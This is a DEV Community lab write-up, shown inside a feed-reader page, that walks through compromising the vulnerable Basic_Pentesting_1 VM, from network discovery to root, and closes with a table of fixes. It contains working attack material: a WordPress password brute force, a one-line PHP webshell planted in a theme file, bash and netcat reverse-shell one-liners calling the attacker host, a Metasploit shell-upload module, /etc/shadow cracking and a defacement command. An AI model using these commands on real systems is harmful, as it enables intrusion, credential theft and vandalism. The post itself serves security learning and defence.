惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园_首页
J
Java Code Geeks
博客园 - 聂微东
量子位
C
Check Point Blog
T
The Blog of Author Tim Ferriss
T
Tailwind CSS Blog
G
Google Developers Blog
Google DeepMind News
Google DeepMind News
B
Blog
罗磊的独立博客
腾讯CDC
GbyAI
GbyAI
博客园 - 【当耐特】
A
About on SuperTechFans
M
MIT News - Artificial intelligence
U
Unit 42
D
Docker
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Y
Y Combinator Blog
大猫的无限游戏
大猫的无限游戏
小众软件
小众软件
S
SegmentFault 最新的问题
有赞技术团队
有赞技术团队

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
From WordPress Login to Root - A Full Pentesting Lab Walk...
Saumya Aggarwal · 2026-06-02 · via DEV Community

⚠️ Disclaimer: Everything here was done in an isolated virtual lab environment (VirtualBox VMs with no internet access). No real systems were involved. This is purely for learning how attacks happen — so defenders know what to protect against.


I kept hearing about website defacements in the news. Indian government portals getting their homepages replaced with political messages. Hospital websites going down. It always felt distant — until I decided actually to understand how it happens.

So I spun up a vulnerable VM (Basic_Pentesting_1) and tried to break it myself. Took me from zero — a blank network — to full root access and a defaced homepage.

Here's everything I did.


Lab Setup

Role Machine
Attacker Kali Linux (VirtualBox VM)
Target Ubuntu VM running WordPress
Network NAT Network — fully isolated, no internet

The target runs Apache, WordPress, FTP (ProFTPD), and SSH. The goal: get root.


The Attack Path at a Glance

Find target on network
        ↓
Port scan
        ↓
Find WordPress installation
        ↓
Map hostname in /etc/hosts
        ↓
Enumerate WordPress users
        ↓
Brute-force password
        ↓
WordPress admin access
        ↓
    ┌─────────────────────┐
    │   Pick your path:   │
    │  A) Manual webshell │
    │  B) Metasploit      │
    └─────────────────────┘
        ↓
Shell as www-data
        ↓
Read /etc/shadow (misconfiguration!)
        ↓
Crack password — John the Ripper
        ↓
SSH as marlinspike
        ↓
sudo -l → sudo bash
        ↓
       ROOT
        ↓
Website defaced


Step 1 — Find the Target

First thing: figure out what machines are on the network.

netdiscover

netdiscover sends ARP requests across the subnet and listens for responses. Nothing fancy — it's just asking "who's here?" to every address.

Output:

Currently scanning: 10.0.2.0/24   |   Screen View: Unique Hosts

 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 10.0.2.1        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.2.2        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.2.5        08:00:27:a1:b2:c3      1      60  PCS Systemtechnik GmbH

10.0.2.5 is the target. The .1 and .2 are the gateway and DNS — ignore them.


Step 2 — Port Scan (Nmap)

Now figure out what's actually running on 10.0.2.5.

sudo nmap -O -sV -sC -Pn 10.0.2.5

Flag What it does
-O Try to guess the OS
-sV Detect service versions
-sC Run default scripts (banners, common misconfigs)
-Pn Skip the ping check, just scan

Output:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Three open ports — FTP, SSH, and a web server.

The web server is almost always the easiest entry point. That's where we focus.

Note on FTP: ProFTPD 1.3.3c is an old version with known vulnerabilities (including a backdoor that Metasploit can hit directly). We didn't need it this time — but keep it in mind as a backup if the web route was a dead end.


Step 3 — Find the WordPress Install (dirb)

dirb http://10.0.2.5/

dirb runs through a wordlist and brute-forces common directory names against the server — /admin, /login, /secret, etc.

Output:

---- Scanning URL: http://10.0.2.5/ ----
+ http://10.0.2.5/index.html (CODE:200|SIZE:11321)
==> DIRECTORY: http://10.0.2.5/secret/
---- Entering directory: http://10.0.2.5/secret/ ----
+ http://10.0.2.5/secret/wp-login.php (CODE:200|SIZE:2482)
+ http://10.0.2.5/secret/wp-admin/ (CODE:302|SIZE:0)
==> DIRECTORY: http://10.0.2.5/secret/wp-content/
==> DIRECTORY: http://10.0.2.5/secret/wp-includes/

There's a WordPress install hiding at /secret/. The wp-login.php and wp-admin/ confirm it.


Step 4 — Fix the Hostname

If you try loading http://10.0.2.5/secret/ in a browser, it'll look broken — missing CSS, weird redirects. That's because WordPress is configured to serve content using the hostname vtcsec, not the raw IP.

Fix it by mapping the hostname locally on Kali:

sudo nano /etc/hosts

Add this line at the bottom:

10.0.2.5    vtcsec

Save and close. Now http://vtcsec/secret/ loads properly — full WordPress login page.


Step 5 — Find Usernames (WPScan)

WPScan is built specifically for WordPress. By default, WordPress leaks usernames through author URLs and login error messages.

wpscan --url http://vtcsec/secret --enumerate u

Output:

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <=====> (10 / 10) 100.00%

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Login Error Messages (Aggressive Detection)

Username: admin.


Step 6 — Brute-Force the Password

We have a username. Now we throw a wordlist at it.

wpscan --url http://vtcsec/secret \
  --usernames admin \
  --passwords /usr/share/wordlists/rockyou.txt

rockyou.txt is a real password list from a 2009 data breach — around 14 million passwords. It's the standard starting point for any credential attack.

Output:

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / admin

[i] Valid Combinations Found:
 | Username: admin, Password: admin

The password was admin.

Not Admin123. Not P@ssw0rd. Just admin.

This is the part that gets me. You can have the best server hardening in the world — and one weak admin password tears all of it down.


Step 7 — Log In

Go to:

http://vtcsec/secret/wp-admin

Login with admin / admin. You're in.

But WordPress admin access isn't the same as Linux shell access. We need to go deeper.


Step 8 — Get a Shell

This is where you can pick your approach. Both paths end up at the same place.


Path A — Manual (PHP Webshell via Theme Editor)

WordPress has a built-in PHP file editor for themes. That's a serious security risk in production — and exactly what we're about to exploit.

Go to:

Appearance → Theme File Editor → 404.php

Scroll to the bottom and add this one line:

<?php system($_GET['cmd']); ?>

Click Update File.

What this does: when the 404 template loads, PHP runs whatever command you pass in the cmd URL parameter. That's Remote Code Execution (RCE).

Test it:

http://vtcsec/secret/index.php/aaaaa?cmd=whoami

The aaaaa path doesn't exist — it triggers a 404, loading our modified template.

Output in browser:

www-data

We have code execution as www-data (the Apache process user). Now let's turn this into an actual interactive shell.

Set up a listener on Kali:

nc -lvnp 4444

Now trigger the reverse shell. I first tried the classic bash one-liner:

http://vtcsec/secret/index.php/aaaaa?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.4/4444 0>%261'

This didn't work. The Ubuntu target's default sh didn't support the -i >& /dev/tcp syntax the way I expected — and the & characters cause encoding headaches in URLs.

So I switched to a FIFO reverse shell — it's more reliable and doesn't depend on shell-specific flags:

http://vtcsec/secret/index.php/aaaaa?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.0.2.4+4444+>/tmp/f

URL-decoded, that command is:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.4 4444 >/tmp/f

What's happening here:

Part What it does
rm /tmp/f Delete the pipe if it already exists
mkfifo /tmp/f Create a named pipe (FIFO) at /tmp/f
cat /tmp/f Read from the pipe — blocks and waits
`\ /bin/sh -i 2>&1`
`\ nc 10.0.2.4 4444`
>/tmp/f Write Kali's input back into the pipe

It's a loop. Your commands on Kali go → into the pipe → into the shell → output comes back to you. Doesn't need nc -e.

Back on your Kali terminal:

listening on [any] 4444 ...
connect to [10.0.2.4] from [10.0.2.5] 57412
/bin/sh: 0: can't access tty; job control turned off
$

Shell. ✅


Path B — Metasploit (wp_admin_shell_upload)

If you already have WordPress admin credentials, Metasploit has a module that automates the whole process.

msfconsole
search wp_admin
use exploit/unix/webapp/wp_admin_shell_upload

Configure it:

set RHOSTS 10.0.2.5
set TARGETURI /secret
set USERNAME admin
set PASSWORD admin
run

Output:

[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /secret/wp-content/plugins/...
[+] Deleted temp plugin file
[*] Sending stage (39927 bytes) to 10.0.2.5
[*] Meterpreter session 1 opened

meterpreter > shell
Process 1 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
$

Same result — you're inside as www-data.


Step 9 — Look Around

Both paths meet here. You're www-data on the target machine.

whoami

www-data

Check who else is on the system:

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
...
marlinspike:x:1000:1000:,,,:/home/marlinspike:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Interesting. There's a real user called marlinspike with a home directory and a real shell.

Now the check that shouldn't work — but does:

cat /etc/shadow

root:$6$3GAVhGlB$DEF...hashed...password:17298:0:99999:7:::
marlinspike:$6$7yR1Kz2B$ABC...hashed...password:17298:0:99999:7:::

This worked.

/etc/shadow stores hashed passwords for all users on the system. Normally only root can read it. But the file permissions were misconfigured — www-data could read it too.

That's a critical mistake. One wrong permission on one file, and an attacker has every password hash on the system.


Step 10 — Crack the Passwords (John the Ripper)

Copy the output of /etc/passwd and /etc/shadow into two files on Kali:

# save output to files manually, or use:
cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt

Combine them with unshadow (formats things the way John expects):

unshadow passwd.txt shadow.txt > combined.txt

Now crack:

john combined.txt

Output:

Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
marlinspike      (marlinspike)
1g 0:00:00:03 DONE (2023-05-29 14:32) 0.2941g/s 512.0p/s

Password: marlinspike. The username was the password.


Step 11 — SSH in as marlinspike

ssh marlinspike@vtcsec

Enter marlinspike when it asks for the password.

marlinspike@vtcsec:~$

Stable SSH shell. No more janky reverse connection hanging in a terminal.


Step 12 — Escalate to Root

Check what sudo privileges this user has:

sudo -l

Matching Defaults entries for marlinspike on vtcsec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User marlinspike may run the following commands on vtcsec:
    (ALL : ALL) ALL

(ALL : ALL) ALL — this user can run any command as any user, including root.

sudo bash

root@vtcsec:~#

whoami

root

Done. Full root access.


Step 13 — Defacement (Post-Exploitation Demo)

To show what an attacker could actually do with root:

cd /var/www/html
mv index.html index_backup.html
echo "<h1>You Have Been Hacked!</h1>" > index.html

Visit http://vtcsec — the homepage is now defaced. In a real attack, this is usually when an organization first notices something went wrong.


What Actually Failed Here

This machine didn't fall because of a sophisticated exploit. It fell because five small, boring mistakes all existed at the same time:

  1. admin:admin credentials — WPScan broke this in under a minute
  2. WordPress Theme Editor left on — One line of PHP → full RCE on the server
  3. /etc/shadow readable by www-data — A single file permission mistake handed us every password hash
  4. marlinspike:marlinspike password — Cracked in 3 seconds by a dictionary attack
  5. (ALL:ALL) ALL sudo privileges — A web server user should never be able to sudo bash

No single one of these is a catastrophic vulnerability. Together, they're a straight road from "I found a web server" to "I own the machine."


How to Fix It

Problem Fix
Weak WordPress credentials Strong passwords, limit login attempts
Theme Editor enabled Add define('DISALLOW_FILE_EDIT', true); to wp-config.php
/etc/shadow permissions chmod 640 /etc/shadow — readable only by root and shadow group
Weak system password Strong, unique password — lock accounts after failed attempts
Excessive sudo Least privilege — only give sudo for what the user actually needs

Tools Used

Tool What it did
netdiscover Found the target on the network
nmap Scanned ports and detected services
dirb Found the WordPress install
wpscan Enumerated users and brute-forced credentials
nc (Netcat) Reverse shell listener
john + unshadow Cracked the hashed password
ssh Stable access as marlinspike

What I'd Try Next

The FTP service (ProFTPD 1.3.3c) was another possible entry point I didn't need this time. That version has a known backdoor that Metasploit can hit directly with exploit/unix/ftp/proftpd_133c_backdoor — which would skip the WordPress phase entirely and drop you straight into a shell. Worth trying if you're running this lab yourself.


  • Just documenting what I'm learning in cybersecurity. Next up: PortSwigger Web Security Academy and more structured privilege escalation practice.*

#security #linux #wordpress #beginners #tutorial